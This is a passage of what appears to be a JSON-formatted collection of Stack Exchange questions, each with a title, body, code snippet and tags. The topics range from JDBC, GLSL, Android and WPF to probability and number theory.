nUser interaction i.e. what pages they visit, forms submitted where they click etc.
\nDOM manipulation and traversing \n\nI am guessing here but it seems that I might
need to start looking at open source html/web browsers out there like WebKit etc.
Is this the right track or is there anything currently available in the form of a
control/COM object that I can use directly. \nCheers, Chris. \n", "", "c# .net
interop webbrowser webkit"], "3460188": ["facing issue when using JDBC in Tomcat 7
with Struts", "I am developing a web application using Struts 2 where I am trying
to insert some values into my local MySQL database. \nThe code for connecting and
accessing database works fine in console application. \nBut its giving exception
when I run the same code in Struts. \n\n", "java.lang.ClassNotFoundException:
com.mysql.jdbc.Driver", "mysql jdbc struts2 tomcat7"], "114781": ["Optimising a
palette mapping shader", "I am trying to optimise a palette mapping shader written
in GLSL (running on iPhone). My implementation is certainly naive but I'm
completely new to OpenGL... Here's a summary of how it looks:\n\nThis works fine
but it's rather slow. I'm sure I'm not making an effective use of OpenGL here :)\
nAny help appreciated !\n", "#define COLOR_BLACK vec4(0.0, 0.0, 0.0, 1.0)\n#define
COLOR_WHITE vec4(1.0, 1.0, 1.0, 1.0)\n(... total of 16 colors)\n\nhighp vec4 color
= texture2D(inputImageTexture, samplePos );\n\nhighp float distances[16];\
ndistances[0] = distance(color, COLOR_BLACK);\ndistances[1] = distance(color,
COLOR_WHITE);\n(... total of 16 distance calculations)\n\n(... find smallest colour
distance)\n\nmediump vec4 finalColor;\nif (colorDistance == distances[0]) {\n
finalColor = COLOR_BLACK;\n} else if (colorDistance == distances[1]) {\n
finalColor = COLOR_WHITE;\n(... total of 16 comparisons)\n\ngl_FragColor =
finalColor;\n", "iphone opengl-es glsl"], "4448797": ["Decomposition of 2 fourth
order differential equations on 4 equations of second order", "How to make
decomposition of 2 fourth order differential equations on 4 equations of second
order\n$$C_1x''''+C_2x'''+C_3x''+C_4x'+C_5x-C_6y''-C_7y=0$$\n$
$D_1y''''+D_2y'''+D_3y''+D_4y'+D_5y-D_6x''-D_7x=0$$\nKnown constants $$C_i, D_i$$\
nThank you in advance\n", "", "differential-equations"], "3989309": ["Configuring
CEDET for GNU Emacs 23.2.1", "I recently built and installed Emacs 23.2.1 for OS X
10.6, which apparently comes with CEDET 1.0pre7 pre-installed, but my old CEDET
configuration fails (for instance (semantic-load-excessive-code-helpers) or even
(semantic-load-code-helpers) are undefined) even after adding the following to
my .emacs:\n(require 'cedet)\n(semantic-mode 1)\n(require 'semantic)\nWhat am I
missing?\n", "", "emacs cedet"], "639222": ["setup rogue DHCP when using PXE boot",
"Recently I want to setup PXE boot server (i.e. DHCP server + TFTP server +
syslinux software) for my company network in a LAN. I have read the setup details
at here: http://www.linuxjournal.com/article/9963\nHowever I don't have
admin/access right to the existing DHCP server and I cannot change the settings.
(you need to put the PXE server IP address in the DHCP server configuration file to
make the PXE booting works).\nI want to do the PXE boot in a good intention (make
the new OS installation easier). Can I setup my own DHCP server (not 'legal' DHCP
server) and use it with my PXE server to do the PXE boot? Is it possible? \nIf I
cannot setup my own DHCP server, what is the working round for this problem? I
really want the PXE boot to easy my batch installation process. thanks. \n", "",
"dhcp pxeboot tftp syslinux"], "359166": ["Sell me on IoC containers, please",
"I've seen several recommend use of IoC containers in code. The motivation is
simple. Take the following dependency injected code:\n\nInto:\n\n(The above is
hypothetical C++ example of course)\nWhile I agree that this simplifies the
interface of the class by removing the dependency constructor parameter, I think
the cure is worse than the disease for a couple of reasons. First, and this is a
big one for me, this makes your program dependent on an external configuration
file. If you need single binary deployment, you simply cannot use these kinds of
containers. The second issue is that the API is now weakly and worse, stringly
typed. The evidence (in this hypothetical example) is the string argument to the
IoC container, and the cast on the result.\nSo.. are there other benefits of using
these kinds of containers or do I just disagree with those recommending the
containers?\n", "class UnitUnderTest\n{\n std::auto_ptr<Dependency> d_;\
npublic:\n UnitUnderTest(\n std::auto_ptr<Dependency> d =
std::auto_ptr<Dependency>(new ConcreteDependency)\n ) : d_(d)\n {\n }\n};\
n\n\nTEST(UnitUnderTest, Example)\n{\n std::auto_ptr<Dependency> dep(new
MockDependency);\n UnitUnderTest uut(dep);\n //Test here\n}\n", "dependency-
injection inversion-of-control ioc-containers"], "3764792": ["How to disable top
left hotspot corner KDE", "I'm using KDE 4.7 (from the repo) on Arch Linux 3.0-
ARCH, and it's very annoying that when I move my mouse to the top left, thumbnails
of my windows appear\u2014this is espically annoying which Firefox, that I made
borderless so I can click on the tabs easily\u2014I just have to move my mouse to
the top.\nCan anyone help me how to disable that hotspot?\n", "testing", "kde arch-
linux"], "4448796": ["Turn off \"smart behavior\" in Matlab", "There is one thing I
do not like on Matlab: It tries sometimes to be too smart. For instance, if I have
a negative square root like \n\nMatlab does not throw an error but switches
silently to complex numbers. The same happens for negative logarithms. This can
lead to hard to find errors in a more complicated algorithm.\nA similar problem is
that Matlab \"solves\" silently non quadratic linear systems like in the following
example:\n\nObviously does not satisfy (It solves a least square problem
instead).\nIs there any
possibility to turn that \"features\" off, or at least let Matlab print a warning
message in this cases? That would really helps a lot in many situations.\n", "a = -
1; sqrt(a)\n", "matlab warnings behavior"], "144910": ["Improving Image compositing
Algorithm c# .NET", "I was wondering if anyone could shed some light on
improvements I can do in making this compositing algorithm faster. What is does is
takes 3 images splits them up to get the 1st Images Red Channel, 2nd Images Green
channel and the 3rd Images Blue channel and composites them together into 1 new
image. Now it works but at an excruciatingly slow pace. The reason i think down to
the pixel by pixel processing it has to do on all image components.\nThe process is
to : \nFor all images:\nExtract respective R G and B values -> composite into 1
image -> Save new Image.\n\nFor reference here is the red channel filter method
relatively the same for blue and green:\n\n", "foreach (Image[] QRE2ImgComp in
QRE2IMGArray)\n{\n Globals.updProgress = \"Processing frames: \" + k + \" of \"
+ QRE2IMGArray.Count + \" frames done.\";\n QRMProgressUpd(EventArgs.Empty);\n\n
Image RedLayer = GetRedImage(QRE2ImgComp[0]);\n QRE2ImgComp[0] = RedLayer;\n\n
Image GreenLayer = GetGreenImage(QRE2ImgComp[1]);\n QRE2ImgComp[1] =
GreenLayer;\n\n Image BlueLayer = GetBlueImage(QRE2ImgComp[2]);\n
QRE2ImgComp[2] = BlueLayer;\n\n\n Bitmap composite = new
Bitmap(QRE2ImgComp[0].Height, QRE2ImgComp[0].Width);\n\n Color
Rlayer,Glayer,Blayer;\n byte R, G, B;\n\n for (int y = 0; y <
composite.Height; y++)\n {\n for (int x = 0; x < composite.Width; x++)\n
{\n //pixelColorAlpha = composite.GetPixel(x, y);\n\n Bitmap
Rcomp = new Bitmap(QRE2ImgComp[0]);\n Bitmap Gcomp = new
Bitmap(QRE2ImgComp[1]);\n Bitmap Bcomp = new Bitmap(QRE2ImgComp[2]);\n\n
Rlayer = Rcomp.GetPixel(x, y);\n Glayer = Gcomp.GetPixel(x, y);\n
Blayer = Bcomp.GetPixel(x, y);\n\n R = (byte)(Rlayer.R);\n G
= (byte)(Glayer.G);\n B = (byte)(Blayer.B);\n
composite.SetPixel(x, y, Color.FromArgb((int)R, (int)G, (int)B));\n }\
n }\n\n\n Globals.updProgress = \"Saving frame...\";\n
QRMProgressUpd(EventArgs.Empty);\n Image tosave = composite;\n
Globals.QRFrame = tosave;\n tosave.Save(\"C:\\\\QRItest\\\\E\" + k + \".png\",
ImageFormat.Png);\n k++;\n\n}\n", "c# .net image processing"], "2855868": ["I
can't debbug applications - ADB is not responding", "I'm using Intellij IDEA 12.0.2
on Windows 8 and I have problem with debbuging apps. I can't run my application on
phone or emulator because all the time I'm getting alerts: Waiting for ADB or ADB
is not resonding.\nI tried:\n restarting IDEA\n killing adb.exe\n killing
and starting server\n editing run configuration\n launching IDEA as
administrator\nNothing works. How can I fix this issue?\n", "", "android intellij-
idea adb"], "3408076": ["CAShaperLayer -renderInContext Doesn't Work?", "I am able
to create a UIImage from a Core Animation layer using the following code:\n\nThis
code is in my CALayer derived class. The issue I am running into is that I have two
CAShapeLayers that are child layers of my layer that do not get rendered to the
resulting image. If I add standard CALayers as children they get rendered fine. The
Apple docs say:\n\nRenders the receiver and its sublayers\n into the specified
context.\n\nIt also says that it's been available since iPhone OS 2.0. Wondering if
there is something I'm missing or if I should file a radar.\nAny ideas what might
keep the child CAShapeLayers from getting drawn to the image?\nThanks.\n", "-
(UIImage*)contentsImage;\n{\n UIGraphicsBeginImageContext([self bounds].size);\n
[self renderInContext:UIGraphicsGetCurrentContext()];\n UIImage *image =
UIGraphicsGetImageFromCurrentImageContext();\n UIGraphicsEndImageContext();\n\n
return image;\n}\n", "iphone core-animation uiimage calayer cashapelayer"],
"2463575": ["How can I render HTML from an nsIXMLHttpRequest in a firefox addon?",
"I'm sending a nsIXMLHttpRequest to a service that can return HTML content. I can
display the raw HTML inside a multiline textbox, but I'd like to be able to
display the rendered HTML in my addon (preferably inside a xul tabpanel). \nIs
there a control I could use to do this? The only things that seem to render HTML
take their input from a URL, where I need it to come from a javascript variable
somehow.\n*Edit: Found the answer minutes after posting, sorry *\n", "", "firefox-
addon"], "1868706": ["Adding ActionBar to Android API Level 8 App?", "I know there
is a lot of fragmented material on how to do do this all over the internet but I am
requesting someone to please give me a step by step guide on how to go from the
very beginning, adding the library to adding the code into my Android application /
project. \nI like the look of this one: https://github.com/johannilsson/android-
actionbar but I cannot get it to work properly :/ I have a feeling I'm missing
something.\nMy Application is for Android version 2.2.\n", "", "java android
android-actionbar android-2.2 guide"], "4448795": ["footnoterule not moving with
footnote", "I'm using the documentclass and the package.\nI made some changes to
the original footnote macros, and this causes the following problem when the
footnoted word is on the last couple of lines of the page:\n\nA minimal
(not)working example:\nbook.main.tex\nmylayout.sty\nIf line 67. in mylayout.sty is
commented out, the footnoterule and the footnote moves to the next page, which is
the expected behaviour. It beats me why it leaves the rule on the prev. page
otherwise.\n", "book", "page-breaking footnotes footmisc"], "5213633": ["Will
Windows XP work on a Hybrid Hard Drive?", "I'm looking into getting the Seagate
Momentus XT hybrid hard drive, and I'm planning on dual booting between Windows 7
and Windows XP. I know 7 and Vista have native support for taking advantage of the
SSD portion of a hybrid drive, and I assume XP does not have any such support, but
will XP still work on the drive? I would think it will, but I wanted to be sure,
and the Googles are coming up empty for me on this one.\nThanks!\n", "", "windows-7
windows-xp hard-drive ssd dual-boot"], "104813": ["How do I enable Devise to send
out confirmation emails on Heroku?", "I am on heroku so am not clear where and how
to set it up so that devise can send out emails.\nI actually have two directions to
go:\n\nI am using sendgrid, so am wondering how it works with that.\nFor my hand-
rolled mailers, I use PostageApp, which I'd prefer because it allows me to see
what's going on with my email. The way I use PostageApp is my Mailers are a class
of PostageApp's mailer. \n\nThanks.\n", "", "ruby-on-rails email devise
actionmailer"], "3713531": ["Develop and run MSTest unit tests in Visual Studio
2010 without including .vsmdi and .testsettings", "I know this is somehow possible,
as we have a project that contains MSTest unit tests that are runnable via the
VS2010 test runner. We can even add new test methods or classes to the existing
projects, and the runner will pick them up and include them in the test run.\nThe
problem comes when I try to add a new unit test project to the solution. If I add a
project of the type \"test project\" to the solution, VS2010 will generate the test
metadata and settings files that were not needed for running any of the other tests
in the other projects. This is undesirable, for example, for an OSS project. If I
simply add a normal \"class library\" project, and put unit tests in it, the test
runner ignores them, and I cannot get it to recognize them at all.\nAm I crazy? Is
this a fluke? Should it even be possible for VS2010 to run the tests we have,
without having a .vsmdi file or a .testsettings file? Or am I missing a setting or
configuration that's required in order to make this work for new projects?\n", "",
"visual-studio-2010 metadata mstest"], "1841809": ["Maple 13: how to turn true into
1 and false into 0?", "generaly what I need is type transformation instructions to
be capable of for example multipliiing on true like and get of say and get .\
nHow to do such thing? \n", "5 * true", "boolean type-conversion maple"],
"5094459": ["Java (maven web app), getting full file path for file in resources
folder?", "I'm working with a project that is setup using the standard Maven
directory structure so I have a folder called \"resources\" and within this I have
made a folder called \"fonts\" and then put a file in it. I need to pass in the
full file path (of a file that is located, within my project structure, at ) to an
object I am using, from a 3rd party library, as below, I have searched on this for
a while but have become a bit confused as to the proper way to do this. I have
tried as below but it isn't able to find it. I looked at using but that seemed to
involve making an actual object when I just need the path to pass into a method
like the one below (don't have the actual method call in front of me so just giving
an example from my memory):\n\nI had thought there was a way, with a project with
standard Maven directory structure to get a file from the resource folder without
having to use the full relative path from the class / package. Any advice on this
is greatly appreciated.\nI don't want to use a hard-coded path since different
developers who work on the project have different setups and I want to include this
as part of the project so that they get it directly when they checkout the project
source.\nThis is for a web application (Struts 1.3 app) and when I look into the
exploded WAR file (which I am running the project off of through Tomcat), the file
is at:\n\n", "String", "java spring maven struts classpath"], "5014276":
["Conditional
probability within a poker hand", "Given a 5 card poker hand from a standard deck,
I'm looking to calculate the probability of getting: all 1 suit, 2 different suits,
3 different suits or 4 different suits, with the additional information that the
hand contains exactly one queen. I'm familiar with how I would like to set up the
question: $\\frac{Pr(A\\cap B)}{Pr(A)}$, with $A$ representing \"getting exactly
one Queen\" and $B$ representing \"containing exactly x suits (with x from 1-
4)\". \nThe problem I'm running into is finding this $Pr(A\\cap B)$!\nI believe I
might want to set it up something like this, (but I may be headed in the wrong
direction!). From what I can tell, this is how I might like to set these up:\
n$Pr(A\\cap B)$ given $x$=1: $\\binom{4}{1}\\binom{12}{4}$: choose 4 cards of the
same suit as the Queen, choose the suit.\n$Pr(A\\cap B)$ given $x$=2: $12*[\\
binom{12}{3}\\binom{12}{1}+\\binom{12}{4}+\\binom{12}{2}^2+\\binom{12}{3}\\
binom{12}{1}]$: Here are all the combinations I can see happening: choose the
Queen, pick 3 more cards of the same suit, then pick a final card of a different
suit; pick the Queen, then 4 cards of a different suit; pick the Queen, pick 2
cards of one suit and 2 of the other; pick the Queen, pick another card of this
suit, then pick 3 cards of the other suit. Multiply by 12 to account for the
different combinations of suits.\n$Pr(A\\cap B)$ given $x$=3: This one seems it
would be most complicated, so I'd like to simply do $1-Pr(Everything Else)$ \
n$Pr(A\\cap B)$ given $x$=4: $\\binom{4}{1}*(\\binom{12}{1}^4+\\binom{12}{2}\\
binom{12}{1}^2)$:\nHere we pick an Queen, then either four cards (one of each suit)
or 4 cards of representing 3 suits, letting the Queen constitute the fourth.\
nSumming these up (and dividing by $Pr(A)$)\n1 suit: .0025\n2 suit: .156\n3
suit: .686\n4 suit: .1554\nLooking at these numbers I'm a little disturbed - the 3
suit probability seems awfully high! Am I under-counting at some point (when I
calculate probability without taking into account the Queen, the '4 suit'
possibility is much greater; perhaps there is an error there)? \nThanks!\n", "",
"homework probability combinatorics card-games"], "5021013": ["How deep can I nest
backbone change events?", "Say I have a (rather ridiculous) book model who
attributes look something like:\n\ncan I bind to change of very nested values like
so?\n\n", "page:{\n paragraph:{\n wordcount: {\n the: 8,\n
at: 10\n }\n }\n}\n", "javascript backbone.js"], "4179168": ["Multiple
custom controls that use mouseMoved in one window", "At first I had one window with
my custom control. To get it to accept the mouse moved events I simply put in it's
awakeFromNib:\nCode:\n[[self window] makeFirstResponder:self];\n[[self window]
setAcceptsMouseMovedEvents:YES];\nNow I'm doing something with four of them in the
same window, and this doesn't work so pretty anymore. First off, I took them out of
the control's awakeFromNib and decided I'd use my appController to manage it i.e.
[window makeFirstResponder:View]\nMy question is, how do I manage four of these in
the same view if I want each one to respond to mouse moved events? Right now, I've
told the window to respond to mouseMoved events but none of the views are
responding to mouseMoved.\n", "", "cocoa events control mouse"], "4018172":
["create file and assign permissions", "It seems as though whatever I put as PERMS
the file created has the same permissions - rwx r-x r-x\nI tried 755 and 777 and
the permissions just stay the same.\n\n", "#include<stdio.h>\n#include<stdlib.h>\
n#include<fcntl.h>\n#include<unistd.h>\n#include<sys/stat.h>\n#define PERMS 0777\n\
nint main(int argc, char *argv[])\n{\n int createDescriptor;\n char
fileName[15]=\"Filename.txt\";\n\n if ((createDescriptor = creat(fileName, PERMS
)) == -1)\n {\n printf(\"Error creating %s\", fileName);\n
exit(EXIT_FAILURE);\n }\n\n if((close(createDescriptor))==-1)\n {\n
write(2, \"Error closing file.\\n\", 19);\n }\n\n return 0;\n}\n", "c posix
file-permissions"], "4448794": ["Options for keeping device awake while a short-
lived service runs", "I'm developing an application that takes the user through an
exercise plan. It's a running trainer that uses audio cues to let the user know
when to walk, run, etc. at different points during their exercise.\nIt's very
likely that the phone will be locked and in someone's pocket while the app is
running, so I'm looking into the ways I can keep the audible cues coming. At the
moment I'm just testing using a Handler in a local Service to schedule the next cue
along. That's working better than I expected on some devices, but, on others, the
Service seems to stop when the phone is locked.\nI know there are a variety of
options open to me -- keep a wake lock on the phone, schedule alarms, (perhaps? Not
sure on this one) changing the priority of the Service, and maybe more.\nSo, what
do people think would be the best approach? Bear in mind that this is not
a \"normal\" Service -- it will be typically be running for at most half an hour,
three times a week, and many of its users will be playing music while they run, so
the phone is fairly unlikely to be asleep anyway. I'm thinking, therefore, that the
usual caveats about battery-draining wake-locks may not apply so much in this
case?\nCurrently I'm targeting API level 8 as my minimum.\n", "", "android android-
service android-alarms android-wake-lock"], "3469247": ["ActionScript - Inaccurate
Graphics?", "i'm attempting to draw a red stroke (1 thickness) around a rounded
rectangle but the stroke is not lining up correctly around the rounded corners.\nmy
rounded rectangle's corners have an ellipseWidth and ellipseHeight of 40. since
they are equal i'm confident in assuming that the curvature of each corner begins
at minus half of the corner size. so instead of drawing my stroke all the way to
the corner i will end the stroke at 20 pixels before the corner and curve it to 20
pixels after the corner. clear as mud?\ninterestingly, if i draw my stroke all the
way around the rounded rectangle following the same code, the stroke is only
inaccurately drawn around these two corners. additionally, if the stroke is
increased to 2, the gaps are no longer visible.\n\n\n\nUPDATE\nthe larger the round
rect and its corners become, the more displaced my stroke becomes. i am no longer
confident that my curvature/anchor points for my curveTo() functions are correct.
any thoughts?\n\n", "//Rounded Rectangle\nvar rectWidth:uint = 300;\nvar
rectHeight:uint = 100;\nvar rectCorners:uint = 40;\n\nvar rect:Shape = new
Shape();\nrect.graphics.beginFill(0);\nrect.graphics.drawRoundRect(-rectWidth / 2,
-rectHeight / 2, rectWidth, rectHeight, rectCorners, rectCorners);\n\n//Stroke\nvar
stroke:Shape = new Shape();\nstroke.graphics.lineStyle(1, 0xFF0000, 1,
true, \"normal\", \"none\", \"miter\", 3);\n\n//Stroke Around Top Right Corner\
nstroke.graphics.moveTo(rect.x + rectWidth / 2 - rectCorners / 2, rect.y -
rectHeight / 2);\nstroke.graphics.curveTo(rect.x + rectWidth / 2, rect.y -
rectHeight / 2, rect.x + rectWidth / 2, rect.y - rectHeight / 2 + rectCorners /
2);\n\n//Stroke Around Bottom Right Corner \nstroke.graphics.lineTo(rect.x +
rectWidth / 2, rect.y + rectHeight / 2 - rectCorners / 2);\
nstroke.graphics.curveTo(rect.x + rectWidth / 2, rect.y + rectHeight / 2, rect.x +
rectWidth / 2 - rectCorners / 2, rect.y + rectHeight / 2);\n\n//Add To Display
List\naddChild(rect);\naddChild(stroke);\n", "flash actionscript-3 graphics
stroke"], "5137075": ["android custom dialog imageButton onclicklistener", "this is
my custom dialog class:\n\nfor some reason eclipse tells me the following errors on
closeButton imageButton:\n\nwhy is that ?\n", "package com.WhosAround.Dialogs;\n\
nimport com.WhosAround.AppVariables;\nimport com.WhosAround.R;\nimport
com.WhosAround.AsyncTasks.LoadUserStatus;\nimport
com.WhosAround.Facebook.FacebookUser;\n\nimport android.app.Dialog;\nimport
android.content.Context;\nimport android.graphics.drawable.Drawable;\nimport
android.view.MotionEvent;\nimport android.view.View;\nimport
android.widget.ImageButton;\nimport android.widget.ImageView;\nimport
android.widget.TextView;\n\npublic class MenuFriend extends Dialog{\n\n private
FacebookUser friend;\n private AppVariables app;\n\n public
MenuFriend(Context context, FacebookUser friend) {\n super(context,
android.R.style.Theme_Translucent_NoTitleBar);\n this.app = (AppVariables)
context.getApplicationContext();\n this.friend = friend;\n }\n\n
public void setDialog(String userName, Drawable userProfilePicture)\n {\n
setContentView(R.layout.menu_friend);\n setCancelable(true);\n
setCanceledOnTouchOutside(true); \n TextView name = (TextView)
findViewById(R.id.menu_user_name);\n TextView status = (TextView)
findViewById(R.id.menu_user_status);\n ImageView profilePicture =
(ImageView) findViewById(R.id.menu_profile_picture);\n ImageButton
closeButton = (ImageButton) findViewById(R.id.menu_close);\n
name.setText(userName); \n
profilePicture.setImageDrawable(userProfilePicture);\n\n if
(friend.getStatus() != null)\n status.setText(friend.getStatus());\n
else\n new LoadUserStatus(app, friend, status).execute(0);\n
closeButton.setOnClickListener(new OnClickListener() {\n\n @Override\n
public void onClick(View v) {\n dismiss();\n\n }\n
})\n\n }\n\n\n}\n", "android dialog imagebutton"], "5920015": ["A Problem
regarding zeta function.", "Le ${{F}_{q}}$ be a finite field of cardinality $q$ and
let $F/{{F}_{q}}$ be a function field with genus $g$ and divisor class number $h$.
Denote by ${{A}_{n}}$ the number of
positive divisors of $F/{{F}_{q}}$ of degree $n$. The zeta function of
$F/{{F}_{q}}$ is $Z(t)=\\sum\\limits_{n=0}^{\\infty }{{{A}_{n}}{{t}^{n}}}$. \nI
know that for $n>2g-2$, ${{A}_{n}}=\\frac{h}{q-1}\\left( {{q}^{n+1-g}}-1 \\right)$.
How to prove that for $0\\le n\\le 2g-2$, \n${{A}_{n}}={{q}^{n+1-g}}{{A}_{2g-2-n}}
+\\frac{h}{q-1}\\left( {{q}^{n+1-g}}-1 \\right)$?\nThe only hint given is
$Z(t)={{q}^{g-1}}{{t}^{2g-2}}Z\\left( \\frac{1}{qt} \\right)$ . \n", "",
"algebraic-geometry"], "4781533": ["Double clicks on a element", "I make a script.
That load a new image in a img tag. This is the script:\n\nBut, i have a problem
with this script. When you click fast on a button. If you are very quick succession
click. Than the script doing al that click events. How can i fix that.\n",
"button.click(function(e) {\n e.preventDefault();\n\n var url = $
(this).attr(\"href\");\n var img = $('#photo-gallery .teaser img');\n\n $
('li', list).attr('data-flag', 'close');\n\n img.animate({ opacity: 0 }, 500,
function() {\n $('img', teaser).attr(\"src\", url);\n });\n\n
img.animate({ opacity: 1 }, 500)\n\n $(this).closest('li').attr('data-flag',
'open');\n});\n", "javascript jquery click"], "1059026": ["Umbraco: Create a
tickbox-list which will define what content to add to a page", "Ok, so I've
recently started to learn setting up sites in Umbraco, as a client of mine wishes
to have it for their site. Now, in their site, they want to have three types
of \"actions\" which they should be able to add to any of their pages. These
actions are really just a line of HTML. The way they wish to add it to the page
however, is not to copy/paste a line of code (understandable..,) but rather have a
tickbox-area.\nThe lines of code look like this:\n\nIn short, the user needs to be
able to tick in for example \"Testimonials\", save and publish to page and have the
first line of code appear.\nI tried going into Developer > Data Types > Create and
defining my own based on a Checkbox list, but that's obviously wrong because there
is no where to define a \"when user ticks this box, save \"this\" as HTML and
insert it into the page\"\nEdit:\nBelow, Marapet gave me the push in the right
direction I needed. Instead of using a Razor script as he suggested, since I have
no knowledge of Razor whatsoever, I decided to finalize the problem with XSLT, so
in order to complete the answer, here's the code for that. (This goes in an xslt
file referenced by the macro that Marapet suggested.)\n\n", "<a class=\"action
people\" href=\"/link/\"><span>Testimonials</span></a>\n\n<a class=\"action rac\"
href=\"/link/\"><span>Request a Call</span></a>\n\n<a class=\"action contact\"
href=\"/link/\"><span>Contact Us</span></a>\n", "xslt umbraco"], "2139418":
["creating a library in a single language with interfaces to everything else", "Our
business currently revolves around the development of a library, which can be used
in a wide spectrum of industries (desktop, mobile, web and embedded). At the moment
we only have customers within the desktop and web world and we already see that we
are basically having to duplicate our code across multiple languages (c#, java and
c++). How is this typically managed in other companies, do we really have to settle
for having our middleware written in multiple languages to meet very different
industries.\nWe have tried c# interop along with with java jni but the results
where not as good as we had expected and it didn't seem like a good and
professional solution.\nAnyone have any ideas how we could keep the core in a
single language but develop interfaces in different languages allowing for the
different industries.\n", "", "language-agnostic interop jni"], "4166943":
["Viewing MS Office document properties from command line?", "I'm looking for a way
to view the properties (title, author, company, etc.) of Office documents from the
command line, hopefully both the standard and custom ones. Does such a utility
exist?\n(My intention is to write a script which lists the files in a directory
hierarchy and displays information about them, including the properties. All the
other info I'm interested in is easy enough, I just can't see a way to get the
properties.)\n", "", "scripting ms-office utilities"], "2167126": ["Android JNI
debugging takes forever", "I am using Eclipse + gdbserver + ndk7. It seems that
debugging through native code (called by Java ) takes ages to step through (~20sec
each step), What might cause that? is this normal behaviour?\n", "", "android
android-ndk jni"], "5624741": ["What is this umsdataelement doing in my browser?",
"I've inherited a heavily modified Firefox (lots of Add-ons) from the previous
occupant of this desk.\nIn some browser windows (developing in PHP on localhost),
an unexpected element has appeared at the bottom of the page which is not coming
from the source code:\n\nGoogling doesn't explain it. Anyone know what this is and
if I should be worried?\n", "", "php html security firefox-addon"], "661304": ["JVM
CMS Garbage Collecting Issues", "I'm seeing the following symptoms on an
application's GC log file with the Concurrent Mark-Sweep collector:\n\nThe preclean
process keeps aborting continously. I've tried adjusting
CMSMaxAbortablePrecleanTime to 15 seconds, from the default of 5, but that has not
helped. The current JVM options are as follows...\n\nIt appears the concurrent-
abortable-preclean never gets a chance to run. I read through
https://blogs.oracle.com/jonthecollector/entry/did_you_know which had a suggestion
of enabling CMSScavengeBeforeRemark, but the side effects of pausing did not seem
ideal. Could anyone offer up any suggestions?\nAlso I was wondering if anyone had
a good reference for grokking the CMS GC logs, in particular this line:\n\nNot
clear on what memory regions those numbers are referring to.\nEdit Found a link to
this http://www.sun.com/bigadmin/content/submitted/cms_gc_logs.jsp \n", "4031.248:
[CMS-concurrent-preclean-start]\n4031.250: [CMS-concurrent-preclean: 0.002/0.002
secs] [Times: user=0.00 sys=0.00, real=0.00 secs] \n4031.250: [CMS-concurrent-
abortable-preclean-start]\n CMS: abort preclean due to time 4036.346: [CMS-
concurrent-abortable-preclean: 0.159/5.096 secs] [Times: user=0.00 sys=0.01,
real=5.09 secs] \n4036.346: [GC[YG occupancy: 55964 K (118016 K)]4036.347: [Rescan
(parallel) , 0.0641200 secs]4036.411: [weak refs processing, 0.0001300
secs]4036.411: [class unloading, 0.0041590 secs]4036.415: [scrub symbol & string
tables, 0.0053220 secs] [1 CMS-remark: 16015K(393216K)] 71979K(511232K), 0.0746640
secs] [Times: user=0.08 sys=0.00, real=0.08 secs] \n", "java jvm garbage-collection
concurrent-mark-sweep"], "5957338": ["Proving $\\gcd(a, c) = \\gcd(b, c)$", "I am
trying to prove that, given positive integers $a, b, c$ such that $a + b = c^2$,
$\\gcd(a, c) = \\gcd(b, c)$. I am getting a bit stuck.\nI have written down that $
(a, c) = ra + sc$ and $(b, c) = xb + yc$ for some integers $r, s, x, y$. I am now
trying to see how I can manipulate these expressions considering that $a + b = c^2$
in order to work towards $ra + sc = xb + yc$ which means $(a, c) = (b, c)$. Am I
starting off correctly, or am I missing something important? Any advice would
help.\n", "", "number-theory elementary-number-theory"], "4481903": ["Undefined
citation warnings", "When I compile my document I get warnings of the form:\n\nThis
problem does fix itself eventually when the compiler reached my file but is there
a way I can prevent them from occurring in the first place?\n", "Package natbib
Warning: Citation `xxxxx' on page y undefined on input line \nz.\n",
"bibliographies compiling warnings"], "1870658": ["selected checkbox in WPF", "I
have a lot of check boxes in my WPF form. I want to get the selected checkbox
value alone. In Winforms we can use , but I cannot use like that in WPF Forms.
How can i get the selected checkbox in WPF?\n", "foreach(checkbox ck in controls)",
"wpf checkbox selected"], "829616": ["How to write a function or macro to send a
parameter to a system call in gVim for Windows?", "The useful command\n\nis not so
useful in gVim for Windows (not cygwin's gVim) because Windows has its own date
function which does not do what I want.\nso, something like\n\nwould be great. But
that's a lot to type. And considering that I might want to call a few things this
way, it would be nice to write a function, which I could pass an argument and it
would run \n\nWhat's the best way to do this? It should be \n1) Permanent (stored
in vimrc or some startup file)\n2) Executed with as few keystrokes as possible. Any
suggestions for good places to create mappings are appreciated.\nThanks!\n", ":r!
date", "windows macros vim vimrc"], "2210815": ["Connect CCTV Camera With BNC Cable
To Computer and Make Appear As Webcam", "Does anyone know the best way to connect a
bnc cable(I think it's called bnc), this, to a computer (windows 7) and make it
appear as a webcam so that the Vitamin D CCTV Software will see it and work with
it.\nThanks.\n", "", "windows-7 video tuner-card input cctv"], "2718876":
["Detecting and halting PHP Mail() spam in progress", "I'm testing some
functionality for a new service I'm putting together. I have mail service setup
powered by Postfix. I'm using Ubuntu Linux Natty (11.04)\nI am trying to find a way
to detect when the PHP mail() function is being used to send spam. I understand
that there are some scripts that users may upload that open up vulnerabilities that
may be exploited later. This scenario could also play out when the user attempts to
use the mail() function to send mails to multiple accounts (thousands) to the point
where it slows down the server.\nWhat command-line tools on Ubuntu can I use to:\n\
nDetect this abuse\nIsolate what user's account is being used to do this\nShutdown
the activity\n\nJust looking for some pointers
that I can do read up on.\nThanks in advance.\n", "", "ubuntu php postfix"],
"2168691": ["vb.net - custom templates issue with databinding expressions in
repeater control", "I'm new here but I've been browsing stackoverflow for a while
when looking for answers.\nHere's the problem : I'm trying to implement a custom
repeater with multiple conditional templates to avoid as much tests in the
templates as possible\nAs for now my ascx code looks like that :\n\nBesides that
this syntax is too verbose, the following code works \n\nBut this code fails\n\nand
I get the error message: : 'DataItem' is not a member of 'System.Web.UI.Control'. \
nIt seems like vb tries to parse the template content at compile time instead of on
databinding\nHere are my vb classes \n\nHow can I add databinding expressions in my
templates' content ?\nThanks in advance.\nMax.\nPS: Would it be possible (and
how ;)) to compact the ascx code so it would look like this :\n\n",
"<custom:Repeater runat=\"server\">\n <headerTemplate>...</headerTemplate>\n
<templates>\n <custom:template match=\"[filter1]\"><contents>[filter1] is true
for <%# Container.DataItem.ID%></contents></custom:template>\n <custom:template
match=\"[filter2]\"><contents>[filter2] is true for <%#
Container.DataItem.ID%></contents></custom:template>\n
</templates>\n</custom:Repeater>\n", "vb.net templates data-binding custom-controls
repeater"], "1812448": ["What does it mean when using the template in C++",
"Recently, I meet something in other's source code. I don't quite understand the
